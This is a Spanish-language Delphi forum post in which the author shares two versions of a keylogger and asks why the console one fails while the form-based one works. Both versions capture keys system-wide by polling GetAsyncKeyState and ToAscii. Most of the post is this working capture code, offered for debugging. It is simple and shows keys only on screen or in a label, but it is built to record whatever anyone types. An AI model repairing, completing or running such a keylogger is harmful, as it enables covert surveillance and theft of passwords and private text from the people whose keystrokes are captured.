Keylogger Multi Lenguaje Problema con la Captura
Tengo un problema toascii convierte la tecla apretada a ascii segun el lenguaje y segun si esta mayuscula
pero no me funciona, solo me funciona cuando creo un aplicacion con formulario y si uso application.processmessages alguien me puede decir como soluciono esto gracias ======================== Ejemplo que no funciona Bien ======================== program Keylogger; {$APPTYPE CONSOLE} uses system,windows; var msg:tmsg; hTimer1: word; KeyState : TKeyboardState; procedure doevents; var msg:tmsg; begin while peekmessage(Msg, 0, 0, 0, PM_REMOVE) do begin GetMessage(Msg,0,0,0); TranslateMessage(Msg); DispatchMessage(Msg); end; end; Function GetCharFromKey(KeyCode:Integer):String; var KeyState : TKeyboardState; Sal : Longint; begin DoEvents; If GetKeyboardState(KeyState) Then begin If ToAscii(KeyCode, 0, KeyState, @Sal, 0) <> 0 Then begin GetCharFromKey := Chr(Sal) end; end; doevents; end; procedure CapKeys(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall; var i : Integer; KeyState : TKeyboardState; Sal : Longint; begin for i:= 1 to 255 do begin doevents; If GetAsyncKeyState(i) = -32767 Then write(GetCharFromKey(i)); end; end; procedure CapturarTeclas(); begin hTimer1 := settimer(0,0,1,@CapKeys); end; begin CapturarTeclas; while true do begin GetKeyboardState(KeyState); doevents; end; end. ============================= EJEMPLO QUE FUNCIONA BIEN ============================= EN EL FORMULARIO AGREGAR : -COMPONENTE TIMER 1 MS -LABEL1 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm) Timer1: TTimer; Label1: TLabel; procedure Timer1Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} Function GetCharFromKey(KeyCode:Integer):String; var KeyState : TKeyboardState; Sal : Longint; begin If GetKeyboardState(KeyState) Then begin If ToAscii(KeyCode, 0, KeyState, @Sal, 0) <> 0 Then begin GetCharFromKey := Chr(Sal) end; end; end; procedure TForm1.Timer1Timer(Sender: TObject); var i:integer; begin While True do begin For i := 0 To 255 do begin If GetAsyncKeyState(i) = -32767 Then label1.Caption := GetCharFromKey(i); Application.ProcessMessages; end; end; end; end. |
La franja horaria es GMT +2. Ahora son las 18:15:10. |
Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi